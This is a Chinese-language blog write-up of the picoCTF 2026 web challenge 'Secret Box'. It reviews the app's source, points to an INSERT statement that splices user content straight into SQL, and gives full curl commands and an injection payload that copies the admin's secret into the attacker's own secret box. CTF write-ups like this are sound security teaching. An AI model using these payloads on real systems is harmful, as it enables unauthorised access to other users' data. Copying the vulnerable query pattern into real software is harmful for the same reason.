> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# picoCTF 2026 Secret Box
- URL: https://taiwanding.com/picoctf-2026-secret-box/
- Published: 2026-08-30T15:05:56.000Z
- Updated: 2026-08-30T15:05:56.000Z
- Author: Kevin Chen
- Tags: sqli, #picoCTF, CTF, CyLab Security Academy

這題是 picoCTF 2026 的 Web 題：`Secret Box`。

題目描述：

> This secret box is designed to conceal your secrets.  
>  
> It's perfectly secure—only you can see what's inside.  
>  
> Or can you? Try uncovering the admin's secret.

這題一開始就給 source code，所以不是純黑箱猜題，

題目說的是：

```text
每個人只能看到自己的 secret
但我們要想辦法看到 admin 的 secret

```

這種題目通常要先看兩件事：

- secret 是怎麼存的
- 網站怎麼判斷「這個 secret 是誰的」

## 題目資訊

- 題目：Secret Box
- 分類：Web Exploitation
- 難度：Medium
- 平台：picoCTF 2026

這篇照實際解題流程寫，重點是理解：

```text
Express + EJS
PostgreSQL
auth_token
owner_id
SQL injection

```

最後我們不是直接進 admin 頁面，而是用 SQL injection 把 admin 的 secret 複製到自己的 secret box，

## Step 1：下載 source code

先建立資料夾：

```bash
cd /mnt/d/Download
mkdir -p secretbox
cd secretbox

```

設定網址：

```bash
BASE='http://candy-mountain.picoctf.net:58604'
SRC='https://challenge-files.picoctf.net/c_candy_mountain/4185bd4297d58d842f759dc8857f6a03206fd0f2421e3aff2e9c43326fe61516/source.tar.gz'

```

下載並解壓：

```bash
curl -sS -L "$SRC" -o source.tar.gz
mkdir -p src
tar -xzf source.tar.gz -C src

rg --files src

```

可以看到：

```text
src/source/docker-compose.yml
src/source/app/Dockerfile
src/source/db/Dockerfile
src/source/db/initdb.sql
src/source/app/src/handler.js
src/source/app/src/db.js
src/source/app/src/server.js
src/source/app/src/views/login.ejs
src/source/app/src/views/index.ejs
src/source/app/src/views/create_secret.ejs
src/source/app/src/views/my_secrets.ejs
src/source/app/src/views/signup.ejs

```

檔案很少，主線應該會在：

```text
server.js：路由
handler.js：登入狀態 / token
initdb.sql：資料庫 schema
db.js：admin password / flag 初始化
views/*.ejs：畫面怎麼顯示

```

## Step 2：EJS 是什麼

一開始看到 `.ejs` 可能會有點陌生，EJS 是 Node.js / Express 常用的模板引擎，完整名稱是：

```text
Embedded JavaScript templates

```

可以把它想成 Flask 的 Jinja，

| Flask                                  | Express / Node                   |
| -------------------------------------- | -------------------------------- |
| render\_template("index.html", data=x) | res.render("index", { data: x }) |
| Jinja template                         | EJS template                     |
| {{ value }}                            | <%= value %>                     |

這題的首頁會這樣 render：

```js
return res.render('my_secrets', {secrets: query.rows});

```

EJS 裡這樣顯示 secret：

```ejs
<%= sec.content %>

```

`<%= %>` 會做 HTML escape，所以這題目前看起來不是 EJS SSTI，也不是 XSS 題，

EJS 只是負責把資料顯示出來，真正要看的還是後端 SQL。

## Step 3：看資料庫結構

先看 `initdb.sql`：

```bash
nl -ba src/source/db/initdb.sql | sed -n '1,80p'

```

重點是三張表：

```sql
CREATE TABLE users (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    username text NOT NULL,
    password text NOT NULL,
    created_at timestamptz NOT NULL DEFAULT now()
);

CREATE TABLE tokens (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id text NOT NULL REFERENCES users(id),
    created_at timestamptz NOT NULL DEFAULT now(),
    expired_at timestamptz NOT NULL DEFAULT now() + interval '1 days'
);

CREATE TABLE secrets (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    owner_id text NOT NULL REFERENCES users(id),
    content text NOT NULL,
    created_at timestamptz NOT NULL DEFAULT now()
);

```

這裡可以先理解資料關係：

```text
users.id
  -> tokens.user_id
  -> secrets.owner_id

```

也就是：

```text
token 對應使用者
secret 也對應使用者

```

admin 的 UUID 也在初始化檔案裡：

```sql
INSERT INTO users(id, username, password)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');

INSERT INTO secrets(owner_id, content)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');

```

雖然本地 source 是 fake flag，但 `db.js` 會在正式環境啟動時更新成真正的 flag：

```js
await db('users')
  .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ password: process.env.USERPASSWORD });

await db('secrets')
  .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ content: process.env.FLAG });

```

所以可以確認：

```text
admin 的 secret 就是 flag
admin 的 owner_id 是固定 UUID

```

## Step 4：看登入狀態怎麼判斷

`handler.js` 負責讀 cookie：

```js
const cookies = getCookies(req.headers.cookie);
const token = cookies.auth_token;

```

如果有 token，就查資料庫：

```js
const query = await db.raw(
    `SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`,
    [token]
);

```

查得到就把使用者 ID 放到 request 裡：

```js
req.userId = query.rows[0].user_id;

```

所以這題的登入狀態是：

```text
cookie 裡有 auth_token
-> tokens 表查得到
-> req.userId = tokens.user_id

```

首頁 `/` 會用 `req.userId` 查自己的 secrets：

```js
const query = await db.raw(
    `SELECT * FROM secrets WHERE owner_id = ?`,
    [userId]
);

return res.render('my_secrets', {secrets: query.rows});

```

這邊是參數化查詢，看起來沒有直接的 IDOR。

因為首頁只會查：

```sql
SELECT * FROM secrets WHERE owner_id = 自己的 userId

```

所以如果我們想看到 admin secret，不能只是改 URL，要想辦法讓 admin secret 變成「自己的 secret」。

## Step 5：找到真正的 SQL injection

看 `server.js` 裡建立 secret 的 route：

```bash
nl -ba src/source/app/src/server.js | sed -n '120,140p'

```

重點是這段：

```js
app.post('/secrets/create', authMiddleware, async (req, res) => {
    const userId = req.userId;
    if (!userId){
        res.clearCookie('auth_token');
        return res.redirect('/');
    }

    const content = req.body.content;
    const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
    );

    return res.redirect('/');
});

```

問題在這行：

```js
`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`

```

`userId` 和 `content` 被直接拼進 SQL，其中 `userId` 來自 token，正常比較不好控制，但 `content` 是我們建立 secret 時輸入的內容，所以它是可控的。

後端原本想做：

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', '我的 secret')

```

如果 `content` 可以提前關閉字串，我們就可以把 SQL 變成：

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', 'x'),
       ('我的 userId', '另一筆 secret')--')

```

這裡不是送兩個 SQL statement，比較準確地說，是：

**同一個 INSERT 裡面，追加第二筆 VALUES。**

## Step 6：先註冊普通使用者並登入

先註冊一個普通帳號：

```bash
BASE='http://candy-mountain.picoctf.net:58604'
C=secretbox_cookies.txt
USER="u$(date +%s)"
PASS="Passw0rd!"

curl -sS -i -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 01_signup.http

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 02_login.http

TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"

echo "USER=$USER"
echo "TOKEN=$TOKEN"
sed -n '1,100p' 02_login.http

```

登入成功後會看到：

```http
HTTP/1.1 302 Found
Set-Cookie: auth_token=...
Location: /

```

這裡的 `auth_token` 很重要，因為我們知道 token，但不知道自己的 `user_id`。

不過資料庫知道：

```sql
SELECT user_id FROM tokens WHERE id='我們的 token'

```

所以等等可以用這個子查詢，讓資料庫自己幫我們找出目前使用者 ID。

## Step 7：用 marker 證明 SQL injection 成功

先不要急著拿 flag，先用 marker 確認自己真的能插入第二筆 secret，

marker 就是我們故意放進去的標記，例如：

```text
MARK1788101140

```

payload：

```bash
MARK="MARK$(date +%s)"
PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), '$MARK')--"

printf '%s\n' "$PAYLOAD"

```

送出：

```bash
curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
  --data-urlencode "content=$PAYLOAD" \
  -o 03_marker.http

sed -n '1,120p' 03_marker.http

curl -sS -b "$C" "$BASE/" -o 04_home_marker.html
grep -Eo "$MARK|Server Internal Error|error|Error" 04_home_marker.html 03_marker.http

```

結果：

```text
04_home_marker.html:MARK1788101140

```

這代表 marker 已經出現在自己的 Secret Box 裡。

也就是說，這段 payload 成功讓資料庫多插入了一筆 secret：

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', 'x'),
       ((SELECT user_id FROM tokens WHERE id='我的 token'), 'MARK1788101140')--')

```

裡面的子查詢：

```sql
SELECT user_id FROM tokens WHERE id='我的 token'

```

會回傳自己的 user ID，所以第二筆 secret 其實等於：

```sql
('我的 userId', 'MARK1788101140')

```

marker 測試成功後，才進下一步。

## Step 8：把 admin secret 複製到自己的 box

source code 已經告訴我們 admin 的 UUID：

```text
e2a66f7d-2ce6-4861-b4aa-be8e069601cb

```

admin secret 存在：

```sql
secrets.content

```

所以要查 admin secret，可以用：

```sql
SELECT content
FROM secrets
WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb'
LIMIT 1

```

把 marker payload 裡的：

```sql
'MARK'

```

換成這個查詢：

```sql
(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)

```

完整指令：

```bash
TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"

PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--"

printf '%s\n' "$PAYLOAD"

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
  --data-urlencode "content=$PAYLOAD" \
  -o 05_dump_admin_secret.http

sed -n '1,120p' 05_dump_admin_secret.http

curl -sS -b "$C" "$BASE/" -o 06_home_flag.html
grep -Eo 'picoCTF\{[^}]+\}' 06_home_flag.html

```

結果：

```text
picoCTF{Redacted}

```

這裡的概念是：

```text
第一筆：插入一個普通的 x
第二筆：owner_id 是我自己，content 是 admin secret

```

所以最後首頁查自己的 secrets 時：

```sql
SELECT * FROM secrets WHERE owner_id = 我的 userId

```

就會把剛剛複製過來的 admin secret 顯示出來。

## 中間 SQL 是怎麼組出來的

這題最容易卡住的是這個 payload：

```sql
x'), ((SELECT user_id FROM tokens WHERE id='TOKEN'), 'MARK')--

```

用 toy example 會比較好懂。

假設資料表長這樣：

```text
users
U1 admin
U2 kevin

tokens
T2 -> U2

secrets
U1 -> picoCTF{secret}

```

正常新增 secret：

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'hello')

```

如果 content 輸入：

```sql
x'), ('U2', 'MARK')--

```

後端拼完會變成：

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'), ('U2', 'MARK')--')

```

這樣就插入兩筆：

```text
U2 -> x
U2 -> MARK

```

但我們不一定知道自己的 user ID 是 `U2`，所以改成讓資料庫從 token 查：

```sql
SELECT user_id FROM tokens WHERE id='T2'

```

payload 變成：

```sql
x'), ((SELECT user_id FROM tokens WHERE id='T2'), 'MARK')--

```

最後再把 `MARK` 換成 admin secret：

```sql
x'), (
  (SELECT user_id FROM tokens WHERE id='T2'),
  (SELECT content FROM secrets WHERE owner_id='U1' LIMIT 1)
)--

```

等價於：

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'),
       ('U2', 'picoCTF{secret}')--')

```

所以這題不是直接繞過「只能看自己的 secret」，而是把 admin secret 複製成自己的 secret。

## 學習重點

`Secret Box` 這題名字取得很好，

表面上每個人的 box 都只查自己的 `owner_id`，看起來權限沒有錯，

但建立 secret 的地方有 SQL injection，

所以我們可以偷偷請資料庫做一件事：

```text
幫我新增一筆 secret
owner 是我
內容是 admin 的 secret

```

這就是這題最核心的想法。